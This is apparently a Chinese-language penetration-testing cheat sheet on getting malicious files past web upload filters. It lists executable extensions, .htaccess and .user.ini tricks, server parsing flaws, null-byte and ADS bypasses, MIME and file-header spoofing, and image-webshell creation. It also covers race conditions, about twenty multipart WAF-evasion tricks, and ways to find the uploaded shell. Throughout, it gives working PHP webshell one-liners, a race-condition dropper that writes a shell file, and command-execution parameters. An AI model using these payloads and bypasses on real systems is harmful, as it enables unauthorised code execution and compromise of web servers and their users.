找到上傳點,先初步判斷一下做了什么防御手段:
客戶端檢查
利用burp抓包改包,先上傳一個jpg類型的木馬,然后通過burp將其改為asp/php/jsp后綴名即可
服務端后綴黑名單
上傳特殊可解析后綴
asp|asa|cer|cdx
aspx|ascx|ashx|asax|asac
php|php2|php3|php4|php5|asis|htaccess|.user.ini|phtm|phtml、pht(是否解析需要根據配置文件中設置類型來決定)
jsp|jspx|jspf
htm|html|shtml|pwml|js
vbs|asis|sh|reg|cgi|exe|dll|com|bat|pl|cfc|cfm|ini
上傳.htaccess
.htaccess文件是Apache服務器中的一個配置文件,它負責相關目錄下的網頁配置。通過 .htaccess文件,可以實現:網頁301重定向、自定義404錯誤頁面、改變文件擴展名、允許/阻止特定的用戶或者目錄的訪問、禁止目錄列表、配置默認文檔等功能IIS平台上不存在該文件,該文件默認開啟,啟用和關閉在 httpd.conf 文件中配置。
.htaccess 文件生效前提條件為:
mod_rewrite 模塊開啟
AllowOverride All
上傳.user.ini
原理:
1、.user.ini 有點像.htaccess,php運行時,會檢索加載所有目錄下的.ini配置文件,從被執行的 PHP 文件所在目錄開始一直上升到 web 根目錄($_SERVER['DOCUMENT_ROOT'] 所指定的)。
2、.user.ini是一個能被動態加載的ini文件,這點和php.ini不同。也就是說修改了.user.ini后,不需要重啟服務器中間件,只需要等待user_ini.cache_ttl所設置的時間(默認為300秒),即可被重新加載。
利用:
上傳.user.ini:
auto_prepend_file=1.gif # 要訪問的文件加載之前加載,
或者
auto_append_file=1.gif # 要訪問的文件加載之后加載
上傳一個包含webshell代碼的1.gif:
GIF98A <?php eval($_REQUEST['a']);?>
訪問本目錄下任意文件附帶參數?a=xxx 就可以實現命令執行
?a=phpinfo(); ?a=system('whoami');
配合解析漏洞
IIS:
目錄解析漏洞(/test.asp/1.jps)
文件名解析漏洞(test.asp;.jpg)
畸形解析漏洞(test.jpg/*.php)
Nginx:
畸形解析漏洞(test.jpg/*.php)
%00空字節代碼解析漏洞
CVE-2013-4547(%20%00)
Apache:
文件名解析漏洞(test.php.owf.xdx)
詳細參考:https://www.cnblogs.com/vege/p/12444476.html
利用NTFS ADS特性
其他
點繞過、空格繞過、后綴雙寫繞過、后綴大小寫繞過、%00繞過、0x00繞過
GET:
shell.php%00.jpg
POST:
(hex里面改)
shell.php%20%00.jpg
shell.php.
shell.php. .
服務器后綴白名單
00截斷、MIME、點、空格、點空格點、::$DATA
shell.php::$DATA
shell.php
shell.php.
shell.php. .
GET:
shell.php%00.jpg
POST:
(hex里面改)
shell.php%20%00.jpg
檢查內容
文件頭檢查
木馬文件中插入 允許上傳的文件類型的文件頭。
如gif
1.php
GIF98A <?php eval($_REQUEST['a']);?>
MIME
正常上傳木馬文件,burp抓包修改 Content-Type:image/jpg 等
getimagesize()、exif_imagetype()函數檢查
生成圖片馬:
制作方法: copy 1.jpg/b + 1.php/a 2.jpg b表示二進制文件 a表示ASCII文件
也可以使用edjpgcom.exe工具
然后結合文件包含漏洞利用
二次渲染
(1)上傳gif圖片:先將普通的gif圖片上傳,會被渲染,渲染之后再下載下來,與原git圖片對比,找到渲染前后沒有變化的位置,然后在這些位置插入php一句話,再上傳即可。
(2)上傳jpg、png圖片:這兩種格式圖片的二次渲染繞過要難很多很多:png(索引類型圖,寫入 PLTE 數據塊或寫入IDAT數據塊),jpg(成功性不大),具體參考 https://xz.aliyun.com/t/2657#toc-3
技巧點:在目標網站渲染的過的圖片再修改,修改后的再傳兩次
條件競爭
由於代碼邏輯問題,其先將我們上傳的圖片保存,然后再進行處理,刪除原圖片,因此我們可以利用條件競爭,在我們上傳的圖片馬被刪除之前觸發它。
方法:
利用burp不斷發包,不斷觸發
1.php
<?php fputs(fopen(‘a.php’,’w’),‘<?php eval($_POST[cmd])?>’); ?>
繞過WAF
雲WAF
通過尋找域名真實IP,使用真實IP進行文件上傳,繞過waf限制
例如
傳shell時發現存在某雲WAF,需進一步繞過
通過尋找域名真實IP,使用真實IP進行文件上傳,繞過waf限制
構造畸形的數據包,“打亂”waf的檢測
WAF如何攔截:
文件名:
解析文件名,判斷是否在黑名單內
文件內容
解析文件內容,判斷是否為webshell
目前,市面上常見的是解析文件名,少數WAF是解析文件內容,比如長亭。下面內容,都是基於文件名解析。
繞過:
獲取文件名的地方在Content-Disposition: form-data; name="file_x"; filename="xx.php"和Content-Type里,所以繞過的地方也就在這兩個地方了。
1、去掉引號
2、雙引號變單引號
3、多加一個引號
4、大小寫
對這三個固定的字符串進行大小寫轉換
比如name轉換成Name,Content-Disposition轉換成content-disposition。
5、空格
在: ; =添加1個或者多個空格,不過測試只有filename在=前面添加空格,上傳失敗。
在filename=后面添加空格上傳成功
6、去掉或修改Content-Disposition值
有的WAF在解析的時候,認為Content-Disposition值一定是form-data,造成繞過。
7、刪掉content-type
同上
8、交換name和filename的順序
規定Content-Disposition必須在最前面,所以只能交換name和filename的順序。
有的WAF可能會匹配name在前面,filename在后面,所以下面姿勢會導致Bypass:
Content-Disposition: form-data; filename="xx.php"; name=file_x
9、多個boundary
最后上傳的文件是test.php而非test.txt,但是取的文件名只取了第一個就會被Bypass。
10、多個filename
最終上傳成功的文件名是test.php。但是由於解析文件名時,會解析到第一個。正則默認都會匹配到第一個。
11、多個分號
文件解析時,可能解析不到文件名,導致繞過。
12、header頭,Content-Type : multipart/form-DATA
這種繞過應該很少,大多數都會忽略大小寫。php和java都支持。
13、header頭在boundary前添加任意字符
php支持,java不支持
14、filename換行
filen
ame="hhh
.
p
hp"
15、filename文件名添加單引號(‘)分號(;)等
filename==”hh' h.php”
filename=”hh;h.php”
16、filename==或者filename===繞過
17、name 和filename之間添加任意字符或者是大量字符
18、form-data用+拼接
19、Content-Disposition:*
20、filename="1.jpg .Php"類似這種的各種嘗試
上傳成功后尋找返回路徑
正常情況下,在返回包中可以找到文件上傳路徑,如果未返回路徑或找不到,可以嘗試以下方法:
1、
刷新, f12 network/瀏覽器history搜索shell名字,或點擊下載文件可能就知道了路徑或相似路徑。有些時候改名字的wordpress插件,編輯器等等,就可以通過這種方式發現
2、
返回了一些參數但不包括路徑的情況,比如file_id 等等,那么文件路徑可能存儲在數據庫中,可以結合sql注入 sqlmap的--search -C參數找到字段和值
3、
什么都沒返回的情況,只返回了ok,true等等。重新加載,抓包看響應,或許某個接口的響應就包括對應的路徑。
比如頭像位置上傳上去了,但是沒有返回路徑,那么想辦法讓他在加載一遍,比如退出重新登陸,一個包一個包的放。可能有些包的響應中就包含路徑。
另外可能存在其他服務器、或者其他站點的其他路徑,也是抓包查看,看一下加載過程的路徑在哪或者看一下html、js
4、
只返回了文件名,沒有路徑
一種是fuzz,看其他同類型文件的路徑,f12或者如果有文件下載的地方,下載抓包,看文件地址。
另一種是 嘗試上傳的時候目錄穿越,一次一次嘗試,看能否穿到站點根目錄或者知道的目錄下面。修改不如表單的其他參數、或者filename參數的值
5、
嘗試訪問日志文件,看能否發現一些敏感目錄或上傳目錄
比如泛微
6、
上傳上去沒有訪問直接下載,當前文件夾沒有執行權限
這種情況,嘗試目錄穿越的方式,穿到其他目錄下,比如根目錄,來繞過限制
../->%C0%AE%C0%AE/
/../ \..\
其他一些情況
1、當前上傳接口無法繞過時,注意觀察文件名,fuzz相似接口
uploadImg.cspx
uploadfile.cspx
uploadtest.cspx
upload_test.cspx
upload_2018.php
upload2019.php
upload2020.jsp
temp、test等等接口
fck編輯器的漏洞就是這樣的,
例子:
2、嘗試修改表單其他字段,看是否會影響后綴,(參數的優先級)
例子:
測試中發現了一個上傳點,但waf攔截jsp、html等后綴,更改后綴重放數據包會導致reset,如下:
fileName和fileType參數可控,且當存在兩個不同的后綴時,最上層的filename參數優先級為最高,可導致任意文件上傳
發現上傳成功的jsp文件其回顯的type類型為image/png類型
刪除最下層filename的Content-Type: image/png,文件上傳類型即可被繞過
參考
http://www.feidao.site/wordpress/?p=2184